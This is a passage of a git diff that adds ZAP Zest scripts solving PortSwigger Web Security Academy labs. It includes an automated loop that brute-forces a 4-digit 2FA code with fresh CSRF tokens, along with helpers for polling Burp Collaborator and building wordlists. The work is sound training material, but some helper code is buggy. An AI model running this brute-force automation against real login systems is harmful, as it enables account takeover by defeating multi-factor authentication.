25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003cform class\u003dlogin-form method\u003dPOST\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"eI5C9vCsTwtpHZ0njK01MyS7cOPE2PWu\"\u003e\n \u003clabel\u003ePlease enter your 4-digit security code\u003c/label\u003e\n \u003cinput required type\u003dtext name\u003dmfa-code\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003e Login \u003c/button\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 313, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1686497563907, + "cookies": [], + "index": 5, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "fieldDefinition": { + "formIndex": 0, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf2", + "index": 6, + "enabled": true, + "elementType": "ZestAssignFieldValue" + }, + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/login2", + "data": "csrf\u003d{{csrf2}}\u0026mfa-code\u003d{{test3}}", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 51\r\nOrigin: https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net/login2", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 3073\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003e2FA bypass using a brute-force attack\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003e2FA bypass using a brute-force attack\u003c/h2\u003e\n \u003ca id\u003d\u0027lab-link\u0027 class\u003d\u0027button\u0027 href\u003d\u0027/\u0027\u003eBack to lab home\u003c/a\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003cform class\u003dlogin-form method\u003dPOST\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"eI5C9vCsTwtpHZ0njK01MyS7cOPE2PWu\"\u003e\n \u003cp class\u003dis-warning\u003eIncorrect security code\u003c/p\u003e\n \u003clabel\u003ePlease enter your 4-digit security code\u003c/label\u003e\n \u003cinput required type\u003dtext name\u003dmfa-code\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003e Login \u003c/button\u003e\n \u003c/form\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 208, + "elementType": "ZestResponse" + }, + "assertions": [], + "followRedirects": false, + "timestamp": 1686497569815, + "cookies": [], + "index": 7, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "ifStatements": [], + "elseStatements": [ + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/my-account", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a4a00c20459b27582df383d0022002e.web-security-academy.net/my-account", + "headers": "HTTP/1.1 302 Found\nLocation: /login\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 302, + "responseTimeInMs": 225, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 0, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1686664874167, + "cookies": [], + "index": 9, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "index": 0, + "enabled": true, + "elementType": "ZestControlLoopBreak" + } + ], + "index": 8, + "enabled": true, + "elementType": "ZestConditional" + }, + { + "operandA": "{{test3}}", + "operandB": "1", + "operation": "add", + "variableName": "test3", + "index": 1, + "enabled": true, + "elementType": "ZestAssignCalc" + }, + { + "rootExpression": { + "length": 1, + "approx": 0, + "variableName": "test3", + "not": false, + "elementType": "ZestExpressionLength" + }, + "ifStatements": [ + { + "replace": "^", + "replacement": "000", + "regex": true, + "caseExact": false, + "variableName": "test3", + "index": 2, + "enabled": true, + "elementType": "ZestAssignReplace" + } + ], + "elseStatements": [ + { + "rootExpression": { + "length": 2, + "approx": 0, + "variableName": "test3", + "not": false, + "elementType": "ZestExpressionLength" + }, + "ifStatements": [ + { + "replace": "^", + "replacement": "00", + "regex": true, + "caseExact": false, + "variableName": "test3", + "index": 3, + "enabled": true, + "elementType": "ZestAssignReplace" + } + ], + "elseStatements": [ + { + "rootExpression": { + "length": 3, + "approx": 0, + "variableName": "test3", + "not": false, + "elementType": "ZestExpressionLength" + }, + "ifStatements": [ + { + "replace": "^", + "replacement": "0", + "regex": true, + "caseExact": false, + "variableName": "test3", + "index": 4, + "enabled": true, + "elementType": "ZestAssignReplace" + } + ], + "elseStatements": [], + "index": 6, + "enabled": true, + "elementType": "ZestConditional" + } + ], + "index": 4, + "enabled": true, + "elementType": "ZestConditional" + } + ], + "index": 10, + "enabled": true, + "elementType": "ZestConditional" + }, + { + "fieldDefinition": { + "formIndex": 0, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf3", + "index": 5, + "enabled": true, + "elementType": "ZestAssignFieldValue" + }, + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/login2", + "data": "csrf\u003d{{csrf3}}\u0026mfa-code\u003d{{test3}}", + "method": "POST", + "headers": "Content-Type: application/x-www-form-urlencoded\r\nContent-Length: 51\r\nOrigin: https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net\r\nDNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a61007c043fda6880b2ad7f00cb005d.web-security-academy.net/login2", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nSet-Cookie: session\u003doZYEhi3lns1f3JuKtsDQpH35Wllwasyi; Secure; HttpOnly; SameSite\u003dNone\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 3316\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003e2FA bypass using a brute-force attack\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003e2FA bypass using a brute-force attack\u003c/h2\u003e\n \u003ca id\u003d\u0027lab-link\u0027 class\u003d\u0027button\u0027 href\u003d\u0027/\u0027\u003eBack to lab home\u003c/a\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/authentication/multi-factor/lab-2fa-bypass-using-a-brute-force-attack\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003ch1\u003eLogin\u003c/h1\u003e\n \u003csection\u003e\n \u003cp class\u003dis-warning\u003eIncorrect security code\u003c/p\u003e\n \u003cform class\u003dlogin-form method\u003dPOST action\u003d\"/login\"\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"Fb1D4p4cRTB0PhNdwVEIQ7UzjF3VXFbs\"\u003e\n \u003clabel\u003eUsername\u003c/label\u003e\n \u003cinput required type\u003dusername name\u003d\"username\"\u003e\n \u003clabel\u003ePassword\u003c/label\u003e\n \u003cinput required type\u003dpassword name\u003d\"password\"\u003e\n \u003cbutton class\u003dbutton type\u003dsubmit\u003e Log in \u003c/button\u003e\n \u003c/form\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003cdiv class\u003d\"footer-wrapper\"\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/body\u003e\n\u003c/html\u003e\n", + "statusCode": 200, + "responseTimeInMs": 169, + "elementType": "ZestResponse" + }, + "assertions": [], + "followRedirects": false, + "timestamp": 1686497575449, + "cookies": [], + "index": 6, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "rootExpression": { + "code": 200, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "ifStatements": [], + "elseStatements": [ + { + "url": "https://0ac2002704a8b8be80c3675b00ec0015.web-security-academy.net/my-account", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a4a00c20459b27582df383d0022002e.web-security-academy.net/my-account", + "headers": "HTTP/1.1 302 Found\nLocation: /login\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 0\n\n", + "body": "", + "statusCode": 302, + "responseTimeInMs": 225, + "elementType": "ZestResponse" + }, + "assertions": [ + { + "rootExpression": { + "code": 302, + "not": false, + "elementType": "ZestExpressionStatusCode" + }, + "elementType": "ZestAssertion" + }, + { + "rootExpression": { + "length": 0, + "approx": 1, + "variableName": "response.body", + "not": false, + "elementType": "ZestExpressionLength" + }, + "elementType": "ZestAssertion" + } + ], + "followRedirects": false, + "timestamp": 1686664874167, + "cookies": [], + "index": 14, + "enabled": true, + "elementType": "ZestRequest" + }, + { + "index": 7, + "enabled": true, + "elementType": "ZestControlLoopBreak" + } + ], + "index": 13, + "enabled": true, + "elementType": "ZestConditional" + }, + { + "fieldDefinition": { + "formIndex": 0, + "fieldName": "csrf", + "elementType": "ZestFieldDefinition" + }, + "variableName": "csrf4", + "index": 8, + "enabled": true, + "elementType": "ZestAssignFieldValue" + } + ], + "variableName": "test3", + "index": 1, + "enabled": true, + "elementType": "ZestLoopInteger" + } + ], + "authentication": [], + "index": 0, + "enabled": true, + "elementType": "ZestScript" +} diff --git a/standalone/OAST_Listen_Burp_Colaborator.py b/standalone/OAST_Listen_Burp_Colaborator.py new file mode 100644 index 00000000..e99fdb2e --- /dev/null +++ b/standalone/OAST_Listen_Burp_Colaborator.py @@ -0,0 +1,88 @@ +# Version 1.0 +# @author RUFFENACH Timothée +# Get OAST burp colaborator. + +from javax.swing import JFrame, JPanel, JComboBox, JOptionPane,JFileChooser,JOptionPane +import urllib2 +import json +import sys +import base64 +import time + + +global biid + +def main(): + global biid + biid = getString("What is your secret key (biid) ?") + + # Get number for update info + update = getNumber(1,3600, "How many time do you want refresh information ?") + + while True: + # URL request + url = "http://polling.oastify.com/burpresults?biid="+biid + + # Get response + response = urllib2.urlopen(url) + data = response.read() + + # analyse response JSON + json_data = json.loads(data) + + # get json data + browseJson(json_data) + + # wait + time.sleep(update) + +# find object JSON +def browseJson(obj, path=""): + if isinstance(obj, dict): + for key, value in obj.items(): + newPath = path + "." + key if path else key + browseJson(value, newPath) + elif isinstance(obj, list): + for index, item in enumerate(obj): + newPath = path + "[{}]".format(index) + browseJson(item, newPath) + else: + obj = str(obj) + obj = convertBase64(obj) + sys.stdout.write("key : {}\n".format(path)) + sys.stdout.write("info : {}\n\n".format(obj)) + +# check if string is base64 and convert it +def convertBase64(text): + # Add padding + padding = len(text) % 4 + textBase64 = text + if padding > 0: + textBase64 += '=' * (4-padding) + try: + # Decode string + textDecode = base64.b64decode(textBase64).decode("ascii") + return textDecode + except Exception as e: + if str(e) == 'Incorrect padding': + return text + else: + # if not base64, is not decoded + return text + +def getNumber(min,max,asked): + number = JOptionPane.showInputDialog(None, asked, "Input", JOptionPane.QUESTION_MESSAGE) + + if int(number) >= min and int(number) <= max: + number = int(number) + return number + else: + JOptionPane.showMessageDialog(None, "Choose number between " + min + " to " + max) + getNumber() + + +def getString(question): + stringInput = JOptionPane.showInputDialog(None, question, "Input", JOptionPane.QUESTION_MESSAGE) + return stringInput + +main() diff --git a/standalone/fileActions.py b/standalone/fileActions.py new file mode 100644 index 00000000..88b983d0 --- /dev/null +++ b/standalone/fileActions.py @@ -0,0 +1,293 @@ +# @author RUFFENACH Timothée +# Version 1.3 +# Scrip to edit file +# Help me for lab burpsuite resolve with zap + +from javax.swing import JFrame, JPanel, JComboBox, JOptionPane,JFileChooser,JOptionPane +from java.io import File, FileWriter +from java.awt.event import WindowAdapter, WindowEvent +from java.awt import Toolkit +import hashlib + +class SelectionMenu(JFrame): + def __init__(self): + JFrame.__init__(self, "Selection Menu") + self.setDefaultCloseOperation(JFrame.DO_NOTHING_ON_CLOSE) + self.setSize(500, 300) + self.getContentPane().setLayout(None) + + # Create selection menu + options = ["Inserting a character string alternately", \ + "Duplicate data file", "Create Json tab with data file", \ + "Encode line file in MD5", \ + "Inserting string before line"] + + # Create scrolling menu + self.dropdown = JComboBox(options) + self.dropdown.setBounds(50, 50, 400, 20) + self.dropdown.addActionListener(self.selection_changee) + self.getContentPane().add(self.dropdown) + + # center windows + self.center_window() + + # Add event listener for closing the window + self.addWindowListener(CustomWindowAdapter()) + + def selection_changee(self, event): + selected_option = self.dropdown.getSelectedItem() + + if selected_option == "Inserting a character string alternately": + self.dropdown.setPopupVisible(False) + self.fonction_option1() + elif selected_option == "Duplicate data file": + self.dropdown.setPopupVisible(False) + self.fonction_option2() + elif selected_option == "Create Json tab with data file": + self.dropdown.setPopupVisible(False) + self.fonction_option3() + elif selected_option == "Encode line file in MD5": + self.dropdown.setPopupVisible(False) + self.fonction_option4() + elif selected_option == "Inserting string before line": + self.dropdown.setPopupVisible(False) + self.fonction_option5() + + # close scrolling menu + self.dropdown.setPopupVisible(False) + + def fonction_option1(self): + + # get mandatory data + alternate = self.getNumber(1,100, "How many alternate do you want between [1 to 100]") + print("alternate number", alternate) + string = self.getString() + print("string", string) + filePath = self.chooseFile() + print("path", filePath) + + + # get number line of file + file = open(filePath, "r") + nb_line = 0 + for line in file: + nb_line += 1 + file.close() + + # the file can't have 0 line + if nb_line == 0: + JOptionPane.showMessageDialog(None, "Empty file", "Alerte", JOptionPane.WARNING_MESSAGE) + return 0 + + # alternate must slower line of file + if alternate > nb_line: + JOptionPane.showMessageDialog(None, "The alternate line don't not more greatet when the line of file", "Alerte", JOptionPane.WARNING_MESSAGE) + return 0 + + # read data of file + file = open(filePath, "r") + data = file.readlines() + file.close() + + # add \n to data + string += "\n" + + # make new data + i = alternate + while i < len(data): + data.insert(i,string) + i += alternate + 1 + + self.saveFile(data) + + def fonction_option2(self): + + copy = self.getNumber(1,100, "How many copy data file do you want [1 to 100]") + filePath = self.chooseFile() + print("path", filePath) + + self.getNumberLine(filePath) + + # read data of file + file = open(filePath, "r") + data = file.readlines() + file.close() + + dataCopy=[] + for i in range(copy): + dataCopy = dataCopy + data + + self.saveFile(dataCopy) + + def fonction_option3(self): + + filePath = self.chooseFile() + print("path", filePath) + + # read data of file + file = open(filePath, "r") + data = file.readlines() + file.close() + + # get numberline + self.getNumberLine(filePath) + + # create tab JSon + dataJson =[] + dataJson.append("[\n") + + for i in range(len(data)): + if(i < len(data)-1): + dataJson.append("\""+data[i].rstrip('\n')+"\",\n") + else: + dataJson.append("\""+data[i].rstrip('\n')+"\"\n") + + dataJson.append("]\n") + + self.saveFile(dataJson) + + def fonction_option4(self): + + filePath = self.chooseFile() + print("path", filePath) + + # read data of file + file = open(filePath, "r") + data = file.readlines() + file.close() + + # get numberline + self.getNumberLine(filePath) + + # create tab tanMD5 + tabMD5 =[] + + for i in range(len(data)): + data[i] = data[i].rstrip('\n') + tabMD5.append(self.encodeMD5(str(data[i]))+"\n") + + self.saveFile(tabMD5) + + def fonction_option5(self): + + # get mandatory data + string = self.getString() + print("string", string) + + filePath = self.chooseFile() + print("path", filePath) + + # read data of file + file = open(filePath, "r") + data = file.readlines() + file.close() + + for i in range(len(data)): + data[i] = string + data[i] + + # get numberline + self.getNumberLine(filePath) + + self.saveFile(data) + + def getNumberLine(self,filePath): + nb_line = 0 + + while nb_line < 1: + file = open(filePath, "r") + + for line in file: + nb_line += 1 + file.close() + + # the file can't have 0 line + if nb_line == 0: + JOptionPane.showMessageDialog(None, "Empty file", "Alerte", JOptionPane.WARNING_MESSAGE) + + return nb_line + + def saveFile(self,data): + # create instance JFileChooser + file_chooser = JFileChooser() + + # show dialog box + result = file_chooser.showSaveDialog(None) + + if result == JFileChooser.APPROVE_OPTION: + # get select file + file = file_chooser.getSelectedFile() + + # get path + path_file = file.getAbsolutePath() + + # write data + with open(path_file, "w") as file: + for i in range(len(data)): + file.write(data[i]) + + print("File saved :", path_file) + else: + print("Save cancel.") + + def chooseFile(self): + fileChooser = JFileChooser() + fileChooser.setMultiSelectionEnabled(True) + filePath = "" + result = fileChooser.showOpenDialog(None) + + if result == JFileChooser.APPROVE_OPTION: + selectedFiles = fileChooser.getSelectedFiles() + for file in selectedFiles: + filePath = file.getAbsolutePath() + print('The path is :', filePath) + + return filePath + + def getNumber(self,min,max,asked): + number = JOptionPane.showInputDialog(None, asked, "Input", JOptionPane.QUESTION_MESSAGE) + + if int(number) >= min and int(number) <= max: + number = int(number) + return number + else: + JOptionPane.showMessageDialog(None, "Choose number between " + min + " to " + max) + self.chooseNumber() + + def getString(self): + stringInput = JOptionPane.showInputDialog(None, "what is your string : ", "Input", JOptionPane.QUESTION_MESSAGE) + + return stringInput + + def center_window(self): + screenSize = Toolkit.getDefaultToolkit().getScreenSize() + screenWidth = screenSize.width + screenHeight = screenSize.height + windowWidth = self.getWidth() + windowHeight = self.getHeight() + + # caclul to center windows + posX = (screenWidth - windowWidth) // 2 + posY = (screenHeight - windowHeight) // 2 + + self.setLocation(posX, posY) + + def encodeMD5(self,string_to_hash): + md5_hash = hashlib.md5() + md5_hash.update(string_to_hash.encode('ascii')) + md5_encoded_string = md5_hash.hexdigest() + return md5_encoded_string + +class CustomWindowAdapter(WindowAdapter): + def windowClosing(self, event): + confirm_closing() + +def confirm_closing(): + reponse = JOptionPane.showConfirmDialog(None, "Do you want close script ?", "Confirmation", JOptionPane.YES_NO_OPTION) + if reponse == JOptionPane.YES_OPTION: + menu.dispose() # close windows en free up resouces + else: + pass # do nothing + +# menu +menu = SelectionMenu() +menu.setVisible(True) diff --git a/standalone/infinite_money_logic_flaw.zst b/standalone/infinite_money_logic_flaw.zst new file mode 100644 index 00000000..4491ee3e --- /dev/null +++ b/standalone/infinite_money_logic_flaw.zst @@ -0,0 +1,446 @@ +{ + "about": "This is a Zest script. For more details about Zest visit https://github.com/zaproxy/zest/", + "zestVersion": "0.8", + "title": "Infinite_money_logice_flaw", + "description": "", + "prefix": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net", + "type": "StandAlone", + "parameters": { + "tokenStart": "{{", + "tokenEnd": "}}", + "tokens": {}, + "elementType": "ZestVariables" + }, + "statements": [ + { + "set": { + "start": 1, + "end": 1000, + "step": 1, + "elementType": "ZestLoopTokenIntegerSet" + }, + "statements": [ + { + "url": "https://0a8a00f704899b2a835f692200e60059.web-security-academy.net/login", + "data": "", + "method": "GET", + "headers": "DNT: 1\r\nUpgrade-Insecure-Requests: 1\r\nSec-Fetch-Dest: document\r\nSec-Fetch-Mode: navigate\r\nSec-Fetch-Site: same-origin\r\nSec-Fetch-User: ?1\r\n", + "response": { + "url": "https://0a6c00d803649bfe801d532b00f0003f.web-security-academy.net/login", + "headers": "HTTP/1.1 200 OK\nContent-Type: text/html; charset\u003dutf-8\nX-Frame-Options: SAMEORIGIN\nConnection: close\nContent-Length: 3526\n\n", + "body": "\u003c!DOCTYPE html\u003e\n\u003chtml\u003e\n \u003chead\u003e\n \u003clink href\u003d/resources/labheader/css/academyLabHeader.css rel\u003dstylesheet\u003e\n \u003clink href\u003d/resources/css/labs.css rel\u003dstylesheet\u003e\n \u003ctitle\u003eInfinite money logic flaw\u003c/title\u003e\n \u003c/head\u003e\n \u003cbody\u003e\n \u003cscript src\u003d\"/resources/labheader/js/labHeader.js\"\u003e\u003c/script\u003e\n \u003cdiv id\u003d\"academyLabHeader\"\u003e\n \u003csection class\u003d\u0027academyLabBanner\u0027\u003e\n \u003cdiv class\u003dcontainer\u003e\n \u003cdiv class\u003dlogo\u003e\u003c/div\u003e\n \u003cdiv class\u003dtitle-container\u003e\n \u003ch2\u003eInfinite money logic flaw\u003c/h2\u003e\n \u003ca id\u003d\u0027exploit-link\u0027 class\u003d\u0027button\u0027 target\u003d\u0027_blank\u0027 href\u003d\u0027https://exploit-0aa8004503a99bfa805a52030133006d.exploit-server.net/email\u0027\u003eEmail client\u003c/a\u003e\n \u003ca class\u003dlink-back href\u003d\u0027https://portswigger.net/web-security/logic-flaws/examples/lab-logic-flaws-infinite-money\u0027\u003e\n Back\u0026nbsp;to\u0026nbsp;lab\u0026nbsp;description\u0026nbsp;\n \u003csvg version\u003d1.1 id\u003dLayer_1 xmlns\u003d\u0027http://www.w3.org/2000/svg\u0027 xmlns:xlink\u003d\u0027http://www.w3.org/1999/xlink\u0027 x\u003d0px y\u003d0px viewBox\u003d\u00270 0 28 30\u0027 enable-background\u003d\u0027new 0 0 28 30\u0027 xml:space\u003dpreserve title\u003dback-arrow\u003e\n \u003cg\u003e\n \u003cpolygon points\u003d\u00271.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15\u0027\u003e\u003c/polygon\u003e\n \u003cpolygon points\u003d\u002714.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15\u0027\u003e\u003c/polygon\u003e\n \u003c/g\u003e\n \u003c/svg\u003e\n \u003c/a\u003e\n \u003c/div\u003e\n \u003cdiv class\u003d\u0027widgetcontainer-lab-status is-notsolved\u0027\u003e\n \u003cspan\u003eLAB\u003c/span\u003e\n \u003cp\u003eNot solved\u003c/p\u003e\n \u003cspan class\u003dlab-status-icon\u003e\u003c/span\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/div\u003e\n \u003c/section\u003e\n \u003c/div\u003e\n \u003cdiv theme\u003d\"\"\u003e\n \u003csection class\u003d\"maincontainer\"\u003e\n \u003cdiv class\u003d\"container is-page\"\u003e\n \u003cheader class\u003d\"navigation-header\"\u003e\n \u003csection class\u003d\"top-links\"\u003e\n \u003ca href\u003d/\u003eHome\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d\"/my-account\"\u003eMy account\u003c/a\u003e\u003cp\u003e|\u003c/p\u003e\n \u003ca href\u003d/cart\u003e\n \u003cimg src\u003d/resources/images/cart_blue.svg /\u003e\n \u003c/a\u003e\n \u003cp\u003e0\u003c/p\u003e\n \u003cp\u003e|\u003c/p\u003e\n \u003c/section\u003e\n \u003c/header\u003e\n \u003cheader class\u003d\"notification-header\"\u003e\n \u003c/header\u003e\n \u003ch1\u003eLogin\u003c/h1\u003e\n \u003csection\u003e\n \u003cform class\u003dlogin-form method\u003dPOST action\u003d\"/login\"\u003e\n \u003cinput required type\u003d\"hidden\" name\u003d\"csrf\" value\u003d\"rKY2CPBxvtQ1KxqGH4vhSA7uUvVITajM\"\u003e\n 